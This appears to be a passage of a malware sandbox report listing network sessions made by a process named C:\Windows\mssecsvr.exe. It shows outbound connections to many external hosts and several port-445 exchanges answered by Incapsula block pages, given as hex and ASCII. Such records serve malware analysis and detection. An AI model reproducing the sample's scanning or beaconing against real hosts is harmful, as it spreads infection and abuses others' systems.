6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 37 2d 33 37 32 30 35 32 39 38 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 37 36 32 34 35 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 37 38 35 31 32 32 39 32 36 39 30 32 30 33 35 39 31 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 37 38 35 31 32 32 39 32 36 39 30 32 30 33 35 39 31 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=7-37205298-0%200NNN%20RT%281658338476245%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-178512292690203591&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-178512292690203591</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.7	50294	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	45.60.207.40	445	192.168.2.7	63949	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:37.487556934 CEST	11696	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 697 X-Iinfo: 9-3957782-0 0NNN RT(1658338476618 622) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 39 2d 33 39 35 37 37 38 32 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 37 36 36 31 38 25 32 30 36 32 32 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 38 32 34 35 36 30 30 39 35 31 33 34 30 33 36 31 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 38 32 34 35 36 30 30 39 35 31 33 34 30 33 36 31 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=9-3957782-0%200NNN%20RT%281658338476618%20622%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-18245600951340361&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-18245600951340361</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	45.60.207.40	445	192.168.2.7	64332	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:40.535515070 CEST	11705	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 697 X-Iinfo: 14-12134485-0 0NNN RT(1658338480289 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 34 2d 31 32 31 33 34 34 38 35 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 38 30 32 38 39 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 35 38 34 31 39 36 38 39 39 35 31 30 30 36 30 33 30 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 35 38 34 31 39 36 38 39 39 35 31 30 30 36 30 33 30 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=14-12134485-0%200NNN%20RT%281658338480289%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-58419689951006030&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-58419689951006030</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	45.60.207.41	445	192.168.2.7	64334	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:40.655356884 CEST	11707	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 696 X-Iinfo: 11-8145049-0 0NNN RT(1658338480281 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 31 2d 38 31 34 35 30 34 39 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 38 30 32 38 31 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 34 30 33 32 39 33 38 36 34 34 33 32 31 35 34 39 39 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 34 30 33 32 39 33 38 36 34 34 33 32 31 35 34 39 39 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=11-8145049-0%200NNN%20RT%281658338480281%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-40329386443215499&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-40329386443215499</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	45.60.207.41	445	192.168.2.7	64715	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:43.690846920 CEST	11716	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 696 X-Iinfo: 12-7283658-0 0NNN RT(1658338483318 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 32 2d 37 32 38 33 36 35 38 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 38 33 33 31 38 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 33 34 36 38 31 32 36 33 39 33 30 38 30 36 39 32 34 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 33 34 36 38 31 32 36 33 39 33 30 38 30 36 39 32 34 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=12-7283658-0%200NNN%20RT%281658338483318%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-34681263930806924&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-34681263930806924</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	45.60.207.42	445	192.168.2.7	64717	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:43.803613901 CEST	11718	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 698 X-Iinfo: 8-29044807-0 0NNN RT(1658338482966 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 38 2d 32 39 30 34 34 38 30 37 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 38 32 39 36 36 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 35 35 35 36 30 34 36 38 35 35 30 32 35 38 32 34 38 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 35 35 35 36 30 34 36 38 35 35 30 32 35 38 32 34 38 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=8-29044807-0%200NNN%20RT%281658338482966%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-155560468550258248&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-155560468550258248</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.7	50296	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.7	50314	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	50078	20.190.159.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.7	50394	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.7	50415	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.7	50441	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.7	50511	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.7	50536	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.7	50590	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.7	50617	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.7	50618	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.7	50591	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.7	50589	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	50089	20.190.159.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.7	50732	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.7	50792	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.7	51021	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.7	51203	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.7	51291	20.82.209.183	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.7	51663	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.7	52064	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.7	52454	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.7	53463	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.7	53528	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	50096	20.190.159.68	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.7	54061	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.7	54203	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

